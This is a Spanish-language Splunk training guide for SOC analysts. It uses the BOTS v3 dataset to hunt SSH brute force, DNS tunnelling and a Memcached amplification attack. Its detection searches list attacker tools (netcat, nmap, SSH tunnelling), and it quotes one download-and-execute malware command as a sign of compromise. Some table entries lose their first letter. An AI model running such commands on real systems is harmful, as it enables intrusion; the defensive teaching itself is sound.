Guia de Analisis de Seguridad con Splunk
Contexto: SOC Analyst
Eres analista de seguridad SOC Nivel 1 en el banco “Banco Nacional”. Tu trabajo es monitorear alertas, investigar eventos sospechosos y reportar incidentes al equipo de respuesta.
El dataset BOTS v3 representa los logs de tu banco durante un incidente de seguridad real. Tu eres el primero en revisar las alertas.
Nota sobre sourcetypes: Este dataset contiene logs de red (stream), Linux (syslog, linux_secure, osquery), AWS (cloudtrail, cloudwatch), y firewall Cisco ASA. No contiene Windows Event Log (EventCode 4624, 4625…). La autenticación se monitoriza via SSH en servidores Linux.
FASE 1: Conocer tu entorno
Antes de investigar, necesitas saber que hay en tu infraestructura.
1.1 ?Que sistemas estan generando logs?
index=botsv3 | stats count by sourcetype | sort -count
Que ves: Todos los tipos de logs que llegan al SIEM. En tu banco: Esto seria tu “Asset Inventory” - saber que sistemas estan monitoreados.
1.2 ?Que fuentes de datos tenemos?
index=botsv3 | stats count by source | sort -count
Que ves: Los archivos o sistemas específicos que generan logs. En tu banco: Saber si son servidores, firewalls, endpoints, etc.
1.3 ?Que hosts estan reportando?
index=botsv3 | stats count by host | sort -count
Que ves: Los equipos/servidores que envian logs. En tu banco: Tu mapa de infraestructura activa.
1.4 Resumen general del trafico
index=botsv3 | timechart span=1d count
Que ves: Volumen de eventos por dia. En tu banco: Detectar picos inusuales de actividad.
FASE 2: Monitoreo de autenticacion (Linux SSH)
La autenticación es lo primero que revisas como SOC analyst. En este dataset, los logs de autenticación son de servidores Linux via SSH.
2.1 Logins SSH exitosos
index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by src_ip, user, host
Que ves: Quien se conecto por SSH, desde donde y a que servidor. En tu banco: Un empleado conectandose desde una IP inusual seria sospechoso.
2.2 Logins SSH fallidos (brute force)
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, user | where count > 5
Que ves: IPs o usuarios con muchos intentos fallidos de SSH. En tu banco: Posible ataque de fuerza bruta contra servidores Linux.
2.3 Logins fuera de horario laboral
index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour<8 OR hour>18 | stats count by user, src_ip, hour
Que ves: Conexiones SSH fuera de las 8am-6pm. En tu banco: Administrador conectandose a las 3am desde IP extraña = altamente sospechoso.
2.4 Usuarios con sudo (privilegios elevados en Linux)
index=botsv3 sourcetype=linux_secure "sudo" | stats count by user, host
Que ves: Quien ejecuta comandos con sudo. En tu banco: Auditar quien tiene acceso de administrador en servidores Linux.
2.5 Autenticacion con clave publica (movimiento lateral)
index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host
Que ves: Conexiones SSH por clave publica entre servidores. En tu banco: Atacantes usan claves robadas para moverse entre servidores.
FASE 3: Analisis de Red
3.1 Top 20 IPs con mas trafico DNS saliente
index=botsv3 sourcetype=stream:dns | top limit=20 src_ip
Que ves: Que equipos estan haciendo mas consultas DNS. En tu banco: Un equipo haciendo muchas consultas DNS puede estar exfiltrando datos o comunicandose con C2.
3.2 DNS queries mas frecuentes
index=botsv3 sourcetype=stream:dns | top limit=50 query
Que ves: Los dominios mas consultados desde tu red interna. En tu banco: Dominios extraños o de reciente creacion = posible command & control (C2).
3.3 Trafico hacia puertos inusuales
index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port
Que ves: Puertos de destino mas usados. En tu banco: Puertos que no deberian estar abiertos (4444, 5555 = posibles backdoors).
Puertos sospechosos: 4444 (Metasploit), 11211 (Memcached amplification), 31337, 6666
3.4 Trafico a Memcached (puerto 11211) - posible amplificacion
index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort -count
Que ves: Quien envia trafico al puerto Memcached y quien lo recibe. En tu banco: Este puerto no deberia estar expuesto. Si ves trafico saliente, alguien está haciendo amplification DDoS.
3.5 Volumen de amplificacion Memcached
index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio
Que ves: El ratio de amplificacion. Si out es 10.000x mayor que in, es un ataque. En tu banco: Los atacantes usan Memcached para amplificar trafico hasta 50.000x.
3.6 Firewall - trafico bloqueado
index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip
Que ves: Las IPs que mas trafico generan hacía el firewall. En tu banco: Intentos de acceso no autorizado desde internet.
3.7 Firewall - conexiones permitidas vs bloqueadas
index=botsv3 sourcetype=cisco:asa | stats count by action
Que ves: Cuantos eventos fueron permitidos (ACCEPT) vs bloqueados (DENY/BLOCK). En tu banco: Si ves muchas denegaciones, alguien está escaneando tu red.
FASE 4: Analisis de Procesos (Endpoint)
4.1 Procesos mas activos en servidores Windows
index=botsv3 sourcetype=PerfmonMk:Process | top limit=20 process_name
Que ves: Los procesos que mas recursos consumen en servidores Windows. En tu banco: Procesos como svchost.exe, explorer.exe son normales. powershell.exe desde cuenta de usuario no.
4.2 Monitoreo de hosts Windows
index=botsv3 sourcetype=WinHostMon | stats count by host
Que ves: Que servidores Windows estan reportando y cuantos eventos generan. En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.
4.3 Procesos creados (Sysmon)
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 | table _time, host, process_name, parent_process_name
Que ves: Procesos creados en endpoints Windows monitoreados por Sysmon. En tu banco: Un PowerShell lanzado por Office = sospechoso.
4.4 Conexiones de red desde procesos (Sysmon)
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 | table _time, host, process_name, dest_ip, dest_port
Que ves: Procesos que hacen conexiones de red. En tu banco: Un proceso conectandose a una IP externa = posible C2.
4.5 Procesos en servidores Linux (osquery)
index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name | sort -count | head 20
Que ves: Procesos detectados por osquery en servidores Linux. En tu banco: osquery monitorea procesos, puertos en escucha, conexiones.
4.6 Puertos en escucha en servidores Linux (osquery)
index=botsv3 sourcetype=osquery:results name=listening_ports | stats count by host, port, address
Que ves: Puertos abiertos en servidores Linux. En tu banco: Servicios no autorizados corriendo en puertos inusuales.
FASE 5: Threat Hunting (Caza de Amenazas)
5.1 Buscar descargas desde internet (Linux)
index=botsv3 sourcetype=bash_history "wget" OR "curl"
Que ves: Comandos wget/curl ejecutados en servidores Linux. En tu banco: Descarga de malware desde internet.
5.2 Buscar scripts ejecutados manualmente
index=botsv3 sourcetype=bash_history "chmod +x" OR "./" OR "sh " OR "bash "
Que ves: Archivos descargados y ejecutados. En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.
5.3 Buscar movimientos laterales (SSH entre servidores)
index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host
Que ves: Conexiones SSH por clave publica. En tu banco: Si el mismo usuario se conecta a 5 servidores en pocos minutos, alguien se está moviendo lateralmente.
5.4 Buscar exfiltracion de datos via DNS
index=botsv3 sourcetype=stream:dns | stats count by query, src_ip | sort -count | head 30
Que ves: Dominios consultados y quien los consulta. En tu banco: Envio de datos codificados en consultas DNS = DNS tunneling.
5.5 Buscar cambios en archivos de configuracion (Linux)
index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"
Que ves: Comandos que modifican configuración del sistema. En tu banco: Anyadir un cronjob o modificar archivos de sistema = persistencia.
5.6 Buscar comandos de red sospechosos
index=botsv3 sourcetype=bash_history "nc " OR "ncat" OR "netcat" OR "nmap" OR "ssh -R" OR "ssh -L"
Que ves: Uso de herramientas de red. En tu banco: netcat, nmap, port forwarding = técnicas de atacante.
5.7 Buscar en texto libre (IOCs)
index=botsv3 "malware" OR "ransomware" OR "exploit" OR "payload" OR "backdoor"
Que ves: Eventos que mencionan terminos de amenazas. En tu banco: Alertas de antivirus, DLP o IDS.
FASE 6: Investigacion de Incidente
6.1 Timeline de un host especifico
index=botsv3 host="gacrux.i-06fea586f3d3c8ce8" | timechart span=1h count by sourcetype
Que ves: Actividad de un equipo específico por hora. Cambia gacrux… por el host que quieras investigar. En tu banco: Reconstruir que paso en un equipo comprometido.
6.2 Eventos alrededor de un momento especifico
index=botsv3 earliest="08/20/2018:15:00:00" latest="08/20/2018:16:00:00" | stats count by sourcetype
Que ves: Que paso en una hora específica del ataque. En tu banco: Investigar que ocurrio justo antes/despues de un incidente.
6.3 Buscar trafico de una IP especifica
index=botsv3 src_ip="13.125.33.130" | stats count by sourcetype, dest_ip | sort -count
Que ves: Todo lo que hizo una IP en la red. Cambia la IP por la que quieras investigar. En tu banco: Investigación forense de una IP sospechosa.
6.4 Timeline del ataque Memcached
index=botsv3 dest_port=11211 | timechart span=5m count
Que ves: La actividad contra el puerto Memcached minuto a minuto. En tu banco: Ver la duración exacta y el volumen del ataque de amplificacion.
6.5 Buscar en texto libre (todos los logs)
index=botsv3 "injected" OR "STORED" OR "ERROR"
Que ves: Eventos que contienen estos terminos - claves del ataque Memcached. En tu banco: Los logs de red UDP contienen los comandos “set”, “get” e “injected” del ataque.
FASE 7: Dashboards y Reportes
7.1 Dashboard de autenticacion (SSH)
index=botsv3 sourcetype=linux_secure "Failed password" | timechart span=1h count by src_ip
7.2 Dashboard de red (DNS)
index=botsv3 sourcetype=stream:dns | timechart span=1h count by query_type
7.3 Dashboard de procesos (Perfmon Windows)
index=botsv3 sourcetype=PerfmonMk:Process | top limit=10 process_name
7.4 Dashboard de trafico bloqueado (Firewall)
index=botsv3 sourcetype=cisco:asa | timechart span=1h count by action
Comandos SPL de Referencia
Basicos
| Comando | Funcion |
|---|---|
| stats count | Contar eventos |
| op limit=N | Top N valores |
| imechart span=1h | Grafico por hora |
| where | Filtrar condicionalmente |
| able | Mostrar en tabla |
| sort -count | Ordenar descendente |
| eval | Crear campo calculado |
| ename | Renombrar campo |
| dedup | Eliminar duplicados |
Sourcetypes disponibles en BOTSv3 (los mas importantes para SOC)
| Sourcetype | Que contiene |
|---|---|
| syslog | Logs genericos de Linux |
| linux_secure | Autenticacion SSH (logins, sudo, fallos) |
| stream:dns | Consultas DNS capturadas en red |
| stream:tcp | Trafico TCP capturado en red |
| stream:udp | Trafico UDP capturado en red |
| stream:http | Trafico HTTP capturado en red |
| stream:ip | Trafico IP generico |
| cisco:asa | Logs de firewall Cisco ASA |
| ws:cloudtrail | API calls de AWS |
| ws:cloudwatchlogs | Logs de servicios AWS (VPC Flow, Lambda) |
| PerfmonMk:Process | Rendimiento de procesos en Windows |
| WinHostMon | Monitoreo de hosts Windows |
| osquery:results | Resultados de osquery (procesos, puertos) |
| ash_history | Historial de comandos bash en Linux |
| XmlWinEventLog:Microsoft-Windows-Sysmon/Operational | Sysmon (procesos, conexiones) |
Ejercicios Practicos
Ejercicio 1: Detectar SSH brute force
Busca IPs con mas de 10 intentos de SSH fallidos.
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | where count > 10
Ejercicio 2: Encontrar la IP atacante de Memcached
Busca la IP que envia trafico al puerto 11211 y calcula el ratio de amplificacion.
index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio
Ejercicio 3: Reconstruir un incidente
Elige un host sospechoso (como la victima del Memcached: 172.16.0.178) y crea un timeline.
index=botsv3 dest_ip="172.16.0.178" | timechart span=5m count by sourcetype
Ejercicio 4: Dominios sospechosos en DNS
Busca dominios que no parezcan legitimas en las consultas DNS.
index=botsv3 sourcetype=stream:dns query=*bit* OR query=*coin* OR query=*pool* OR query=*miner* | stats count by query
Ejercicio 5: Reporte de incidente
Escribe un reporte de 1 pagina sobre el ataque Memcached que encuentres en los datos. Incluye:
- IP atacante, IP victima
- Puerto utilizado
- Volumen de datos
- Timeline del ataque
- Recomendaciones
Documento actualizado el 06/06/2026 - Busquedas validadas con BOTSv3 real